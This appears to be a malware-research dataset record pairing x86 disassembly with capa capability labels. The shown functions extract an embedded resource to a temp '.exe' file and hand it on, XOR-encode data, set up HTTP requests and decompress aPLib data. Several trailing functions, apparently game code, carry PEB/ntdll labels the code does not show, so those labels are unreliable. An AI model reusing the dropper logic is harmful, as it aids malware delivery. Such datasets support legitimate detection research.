joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405433
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40547d
push esi
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp + 0xc]
mov dword [ebp - 8], esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], edi
push ebx
sete byte [ebp - 1]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 1]
jmp 0x40547f
xor al, al
pop esi
pop ebx
leave
ret

Function at 0x405483
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
mov eax, ecx
shr eax, 5
test eax, eax
jbe 0x4054b3
mov eax, ecx
shr eax, 5
push ebx
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
push 0x20
pop edx
mov bl, byte [edi]
xor byte [esi], bl
inc esi
inc edi
dec edx
jne 0x4054a3
dec dword [ebp - 4]
jne 0x40549d
pop edi
pop ebx
shl eax, 5
sub ecx, eax
mov eax, dword [ebp + 8]
je 0x4054c6
mov dl, byte [eax]
xor byte [esi], dl
inc esi
inc eax
dec ecx
jne 0x4054bd
pop esi
leave
ret

Function at 0x405516
Capabilities:
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x202c
call fcn.00414790
mov eax, dword [0x41f414]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x41b998
xor esi, esi
push 0xa8
mov edi, ecx
push esi
mov dword [ebp - 0x200c], edi
mov dword [ebp - 0x2010], esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
cmp ebx, esi
jne 0x405565
mov esi, edi
call fcn.004058ab
mov eax, edi
jmp 0x405661
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push ebx
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x2010], eax
cmp edi, esi
je 0x405654
cmp eax, esi
je 0x405654
xor eax, eax
push 0x1ffe
mov word [ebp - 0x2008], ax
lea eax, [ebp - 0x2006]
push esi
push eax
call fcn.0040bff0
add esp, 0xc
lea ebx, [ebp - 0x202c]
call fcn.00405273
cmp dword [eax + 0x18], 8
jb 0x4055c8
mov eax, dword [eax + 4]
jmp 0x4055cb
add eax, 4
lea ecx, [ebp - 0x2008]
push ecx
push esi
push 0x41b9a8
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push esi
push 1
lea esi, [ebp - 0x202c]
call fcn.004019da
lea eax, [ebp - 0x2008]
push str..tmp
push eax
call fcn.0040ad5e
push 0x41b9bc
push 2
push eax
call fcn.0040ab83
add esp, 0x14
push str..exe
lea eax, [ebp - 0x2008]
push 0x1000
push eax
call fcn.0040adbf
add esp, 0xc
push edi
mov edi, dword [ebp - 0x2010]
lea eax, [ebp - 0x2008]
push eax
call fcn.00405433
mov esi, dword [ebp - 0x200c]
pop ecx
pop ecx
test al, al
je 0x40565a
lea eax, [ebp - 0x2008]
push eax
call fcn.00401757
jmp 0x40565f
mov esi, dword [ebp - 0x200c]
call fcn.004058ab
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409fdb
leave
ret
Function at 0x405670
Capabilities:
Get common file path
Get file size

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x418d19
mov eax, dword fs:[0]
push eax
mov eax, 0x2050
call fcn.00414790
mov eax, dword [0x41f414]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x201c], eax
lea eax, [ebp - 0x2040]
xor ebx, ebx
push eax
mov esi, ecx
mov dword [ebp - 0x2020], ebx
call fcn.00405a49
push ebx
push ebx
push 3
push ebx
xor edi, edi
inc edi
push edi
push 0x80000000
mov dword [ebp - 4], edi
push esi
mov dword [ebp - 0x2028], ebx
mov dword [ebp - 0x2024], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2018], eax
mov byte [ebp - 4], 2
cmp eax, 0xffffffff
je 0x405708
lea ecx, [ebp - 0x2028]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x2024], eax
push dword [ebp - 0x2024]
lea ecx, [ebp - 0x2040]
push esi
call fcn.00405377
pop ecx
pop ecx
test al, al
je 0x405851
mov esi, dword [ebp - 0x2030]
sub esi, dword [ebp - 0x2034]
push 0x41b508
lea eax, [ebp - 0x2040]
call fcn.00405b24
mov ecx, esi
call fcn.00405483
xor eax, eax
mov word [ebp - 0x2014], ax
mov dword [esp], 0x1ffe
lea eax, [ebp - 0x2012]
push ebx
push eax
call fcn.0040bff0
add esp, 0xc
lea ebx, [ebp - 0x205c]
call fcn.00405273
cmp dword [eax + 0x18], 8
jb 0x40577d
mov eax, dword [eax + 4]
jmp 0x405780
add eax, 4
lea ecx, [ebp - 0x2014]
push ecx
push 0
push 0x41b9cc
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push edi
lea esi, [ebp - 0x205c]
call fcn.004019da
lea eax, [ebp - 0x2014]
push str..tmp
push eax
call fcn.0040ad5e
push 0x41b9bc
push 2
push eax
call fcn.0040ab83
add esp, 0x14
push str..exe
lea eax, [ebp - 0x2014]
push 0x1000
push eax
call fcn.0040adbf
mov edi, dword [ebp - 0x2030]
sub edi, dword [ebp - 0x2034]
add esp, 0xc
lea eax, [ebp - 0x2040]
call fcn.00405b24
push eax
lea eax, [ebp - 0x2014]
push eax
call fcn.00405433
pop ecx
pop ecx
test al, al
je 0x40584c
mov esi, dword [ebp - 0x201c]
lea eax, [ebp - 0x2014]
push eax
call fcn.00401757
cmp dword [ebp - 0x2018], 0xffffffff
mov dword [ebp - 0x2020], 1
je 0x405838
push dword [ebp - 0x2018]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x2040]
push eax
mov byte [ebp - 4], 0
call fcn.00405a79
mov eax, esi
jmp 0x405891
xor edi, edi
inc edi
xor ebx, ebx
mov esi, dword [ebp - 0x201c]
push 0x41b9bc
call fcn.00401757
cmp dword [ebp - 0x2018], 0xffffffff
mov dword [ebp - 0x2020], edi
je 0x40587c
push dword [ebp - 0x2018]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x2040]
push eax
mov byte [ebp - 4], bl
call fcn.00405a79
mov eax, dword [ebp - 0x201c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00409fdb
leave
ret
Function at 0x406e0a
Capabilities:
Create http request

Disassembly:
push 0
mov eax, 0x418455
call fcn.0040ba6d
mov ebx, dword [ebp + 8]
push dword [ebp + 0xc]
mov esi, ebx
call fcn.00401776
mov eax, dword [ebp + 0x10]
push dword [ebp + 0xc]
xor edi, edi
mov dword [ebp - 4], edi
lea esi, [ebx + 0x20]
mov dword [ebx + 0x1c], eax
call fcn.00401776
mov eax, dword [ebp + 0x14]
or dword [ebx + 0x40], 0xffffffff
mov dword [ebx + 0x3c], eax
lea eax, [ebx + 0x54]
push eax
mov dword [ebx + 0x44], edi
mov dword [ebx + 0x48], edi
mov dword [ebx + 0x4c], edi
mov dword [ebx + 0x50], edi
call fcn.004076a7
lea eax, [ebx + 0x6c]
push eax
call fcn.004076a7
lea eax, [ebx + 0x84]
push eax
call fcn.004076a7
mov eax, dword [ebp + 0x18]
mov byte [ebp - 4], 4
push 0x2000
mov dword [ebx + 0xa0], eax
mov eax, dword [ebp + 0x1c]
lea esi, [ebx + 0xe0]
push edi
push esi
mov dword [ebx + 0xa4], eax
mov dword [ebx + 0xa8], edi
mov dword [ebx + 0xac], edi
mov dword [ebx + 0xb0], edi
mov dword [ebx + 0xb4], edi
mov byte [ebx + 0x20e0], 0
mov byte [ebx + 0x20e1], 1
mov byte [ebx + 0x20e2], 1
call fcn.0040bff0
add esp, 0xc
lea edx, [ebx + 0xb8]
push 0xa
xor eax, eax
pop ecx
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, dword [ebx + 0x3c]
mov dword [ebx + 0xcc], esi
xor esi, esi
mov dword [edx], 0x28
mov dword [ebx + 0xd0], 0x2000
cmp eax, esi
je 0x406ef6
mov dword [eax + 4], ebx
push 0x10000000
push esi
push esi
push esi
push 0x41ba18
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebx + 0x4c], eax
cmp eax, esi
je 0x406f25
push 0x4074b0
push eax
call dword [sym.imp.WININET.dll_InternetSetStatusCallbackW]
mov edi, ebx
call fcn.004072e8
jmp 0x406f33
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, ebx
call fcn.004070a0
mov eax, ebx
call fcn.0040bb0c
ret 0x18

Function at 0x4078d1
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3f90]
mov eax, 0x4010
call fcn.00414790
mov eax, dword [0x41f414]
xor eax, ebp
mov dword [ebp + 0x3f8c], eax
mov eax, dword [ebp + 0x3f98]
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push 1
push 0x80000000
push eax
mov dword [ebp - 0x80], esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x407942
push 2
push esi
push 0xffffc000
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 0x80]
push eax
push 0x4000
lea eax, [ebp - 0x74]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x80]
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], esi
call fcn.00407981
push dword [ebp - 0x78]
mov edx, dword [ebp - 0x7c]
mov ecx, ebx
call fcn.00407a47
mov ecx, dword [ebp + 0x3f8c]
pop edi
xor ecx, ebp
pop esi
call fcn.00409fdb
add ebp, 0x3f90
leave
ret 4
Function at 0x408905
Capabilities:
Delete file

Disassembly:
push 0x24
mov eax, 0x41855b
call fcn.0040bad6
mov edi, ecx
mov dword [ebp - 0x30], edi
mov dword [edi], 0x41bc34
mov dword [edi + 0x34], 0x41bc4c
mov dword [ebp - 4], 5
mov eax, dword [edi + 0x9c]
xor ebx, ebx
cmp eax, ebx
je 0x40899f
xor ecx, ecx
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], ebx
mov word [ebp - 0x28], cx
mov byte [ebp - 4], 6
cmp dword [eax + 0x40], 3
je 0x408961
push 0xffffffffffffffff
push ebx
lea eax, [edi + 0x80]
lea ecx, [ebp - 0x2c]
call fcn.004017d3
mov esi, dword [edi + 0x9c]
cmp esi, ebx
je 0x408978
push esi
call fcn.00406f3d
push esi
call fcn.0040a067
pop ecx
cmp dword [ebp - 0x18], ebx
je 0x408990
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x408989
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
push 1
lea esi, [ebp - 0x2c]
mov byte [ebp - 4], 5
call fcn.004019da
mov eax, dword [edi + 0xe4]
cmp eax, ebx
je 0x4089af
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push ebx
push 1
lea esi, [edi + 0xe8]
mov byte [ebp - 4], 4
call fcn.004019da
push ebx
push 1
lea esi, [edi + 0xc8]
mov byte [ebp - 4], 3
call fcn.004019da
push ebx
push 1
lea esi, [edi + 0xac]
mov byte [ebp - 4], 2
call fcn.004019da
lea ecx, [edi + 0x3c]
mov byte [ebp - 4], 1
call fcn.00408ed1
or dword [ebp - 4], 0xffffffff
mov ecx, edi
mov dword [edi + 0x34], 0x41bc24
call fcn.00406667
call fcn.0040bb20
ret
Function at 0x409fdb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f414]
jne 0x409fe5
repz ret
jmp fcn.0040bee2

Function at 0x413723
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040c987
and dword [ebp - 4], 0
cmp dword [0x421068], 0
mov ebx, eax
jne 0x4137d4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413885
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413885
push eax
call fcn.0040c915
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x421068], eax
call esi
push eax
call fcn.0040c915
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42106c], eax
call esi
push eax
call fcn.0040c915
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x421070], eax
call esi
push eax
call fcn.0040c915
pop ecx
mov dword [0x421078], eax
test eax, eax
je 0x4137d4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040c915
pop ecx
mov dword [0x421074], eax
mov eax, dword [0x421074]
cmp eax, ebx
je 0x41382c
cmp dword [0x421078], ebx
je 0x41382c
push eax
call fcn.0040c990
push dword [0x421078]
mov esi, eax
call fcn.0040c990
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41382c
test edi, edi
je 0x41382c
call esi
test eax, eax
je 0x413823
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413823
test byte [ebp - 0xc], 1
jne 0x41382c
or dword [ebp + 0x10], 0x200000
jmp 0x413865
mov eax, dword [0x42106c]
cmp eax, ebx
je 0x413865
push eax
call fcn.0040c990
pop ecx
test eax, eax
je 0x413865
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413865
mov eax, dword [0x421070]
cmp eax, ebx
je 0x413865
push eax
call fcn.0040c990
pop ecx
test eax, eax
je 0x413865
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x421068]
call fcn.0040c990
pop ecx
test eax, eax
je 0x413885
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413887
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x16d9058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.016d91a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x16d907e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x16d906a
add dl, dl
jne 0x16d9089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x16d90dc
xor eax, eax
add dl, dl
jne 0x16d9096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x16d917d
add dl, dl
jne 0x16d90a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16d90b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16d90bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16d90c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x16d90d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x16d9075
mov eax, 1
add dl, dl
jne 0x16d90ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x16d90f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x16d90e1
sub eax, ebx
mov ebx, 1
jne 0x16d9128
mov ecx, 1
add dl, dl
jne 0x16d910e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x16d9119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x16d9105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x16d9075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x16d913f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x16d914a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x16d9136
cmp eax, 0x7d00
jae 0x16d916d
cmp eax, 0x500
jb 0x16d9168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x16d9075
cmp eax, 0x7f
ja 0x16d9170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x16d9075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x16d919e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x16d9075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x43fe90
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x869628
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.0043f120
push str.AIGoalPit
mov dword [esp + 0x54], 0
mov dword [esi], 0x892f70
mov dword [esp + 0x14], 0x40800000
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0xc02ccccd
mov dword [esp + 0x20], 0xc1200000
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0xc02ccccd
call fcn.005cc240
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esp + 0x2c], ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x30], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x34], ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x48], eax
add esp, 4
mov dword [esp + 0x34], edx
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x28]
mov dword [esp + 0x38], ecx
lea edi, [esi + 0x10]
mov ebx, 1
push eax
mov ecx, edi
mov dword [esp + 0x40], edx
mov dword [esp + 0x44], ebx
call fcn.004393f0
push str.AIGoalPit
mov dword [esp + 0x20], 0xc0800000
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0xc02ccccd
mov dword [esp + 0x14], 0x41200000
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0xc02ccccd
call fcn.005cc240
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x2c], ecx
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x30], edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x34], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x48], eax
add esp, 4
mov dword [esp + 0x34], edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x28]
mov dword [esp + 0x38], ecx
push eax
mov ecx, edi
mov dword [esp + 0x40], edx
mov dword [esp + 0x44], ebx
call fcn.004393f0
mov ecx, dword [esp + 0x48]
mov dword [esi + 4], ebx
mov byte [esi + 0xc], bl
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x48
ret 4
Function at 0x43fea9
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x869628
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.0043f120
push str.AIGoalPit
mov dword [esp + 0x54], 0
mov dword [esi], 0x892f70
mov dword [esp + 0x14], 0x40800000
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0xc02ccccd
mov dword [esp + 0x20], 0xc1200000
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0xc02ccccd
call fcn.005cc240
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esp + 0x2c], ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x30], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x34], ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x48], eax
add esp, 4
mov dword [esp + 0x34], edx
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x28]
mov dword [esp + 0x38], ecx
lea edi, [esi + 0x10]
mov ebx, 1
push eax
mov ecx, edi
mov dword [esp + 0x40], edx
mov dword [esp + 0x44], ebx
call fcn.004393f0
push str.AIGoalPit
mov dword [esp + 0x20], 0xc0800000
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0xc02ccccd
mov dword [esp + 0x14], 0x41200000
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0xc02ccccd
call fcn.005cc240
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x2c], ecx
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x30], edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x34], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x48], eax
add esp, 4
mov dword [esp + 0x34], edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x28]
mov dword [esp + 0x38], ecx
push eax
mov ecx, edi
mov dword [esp + 0x40], edx
mov dword [esp + 0x44], ebx
call fcn.004393f0
mov ecx, dword [esp + 0x48]
mov dword [esi + 4], ebx
mov byte [esi + 0xc], bl
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x48
ret 4
Function at 0x440050
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x869648
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
call fcn.0043f120
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x28], ecx
mov dword [esp + 0xc], 0xc0400000
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], 0
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x24]
mov dword [esi], 0x892f90
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
mov eax, dword [0x91ddbc]
mov dword [esp + 0x20], 0
mov edx, dword [esp + 0x20]
lea edi, [esi + 0x10]
push ecx
mov ecx, edi
mov dword [esp + 0x50], 0
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], 1
mov dword [esp + 0x44], eax
call fcn.004393f0
mov dword [esp + 0x1c], 0
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x18], 0xc0400000
mov edx, dword [esp + 0x18]
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], 0x40a00000
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x24], edx
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0xc], 0
mov edx, dword [esp + 0xc]
mov dword [esp + 0x14], 0
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], edx
mov edx, dword [0x91ddbc]
lea eax, [esp + 0x24]
mov dword [esp + 0x38], ecx
push eax
mov ecx, edi
mov dword [esp + 0x40], 2
mov dword [esp + 0x44], edx
call fcn.004393f0
mov dword [esp + 0x18], 0xc0400000
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x1c], 0
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], 0xc0a00000
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], 0
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x28], edx
mov dword [esp + 0x10], 0
mov edx, dword [esp + 0x10]
mov dword [esp + 0x14], 0
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x30], ecx
mov ecx, dword [0x91ddbc]
mov dword [esp + 0x34], edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 3
mov dword [esp + 0x40], ecx
lea edx, [esp + 0x24]
push edx
mov ecx, edi
call fcn.004393f0
mov ecx, dword [esp + 0x44]
mov dword [esi + 4], 3
mov byte [esi + 0xc], 0
pop edi
mov eax, esi
mov dword fs:[0], ecx
pop esi
add esp, 0x48
ret 4
Function at 0x440068
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x869648
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
call fcn.0043f120
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x28], ecx
mov dword [esp + 0xc], 0xc0400000
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], 0
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x24]
mov dword [esi], 0x892f90
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
mov eax, dword [0x91ddbc]
mov dword [esp + 0x20], 0
mov edx, dword [esp + 0x20]
lea edi, [esi + 0x10]
push ecx
mov ecx, edi
mov dword [esp + 0x50], 0
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], 1
mov dword [esp + 0x44], eax
call fcn.004393f0
mov dword [esp + 0x1c], 0
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x18], 0xc0400000
mov edx, dword [esp + 0x18]
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], 0x40a00000
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x24], edx
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0xc], 0
mov edx, dword [esp + 0xc]
mov dword [esp + 0x14], 0
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], edx
mov edx, dword [0x91ddbc]
lea eax, [esp + 0x24]
mov dword [esp + 0x38], ecx
push eax
mov ecx, edi
mov dword [esp + 0x40], 2
mov dword [esp + 0x44], edx
call fcn.004393f0
mov dword [esp + 0x18], 0xc0400000
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x1c], 0
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], 0xc0a00000
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], 0
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x28], edx
mov dword [esp + 0x10], 0
mov edx, dword [esp + 0x10]
mov dword [esp + 0x14], 0
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x30], ecx
mov ecx, dword [0x91ddbc]
mov dword [esp + 0x34], edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 3
mov dword [esp + 0x40], ecx
lea edx, [esp + 0x24]
push edx
mov ecx, edi
call fcn.004393f0
mov ecx, dword [esp + 0x44]
mov dword [esi + 4], 3
mov byte [esi + 0xc], 0
pop edi
mov eax, esi
mov dword fs:[0], ecx
pop esi
add esp, 0x48
ret 4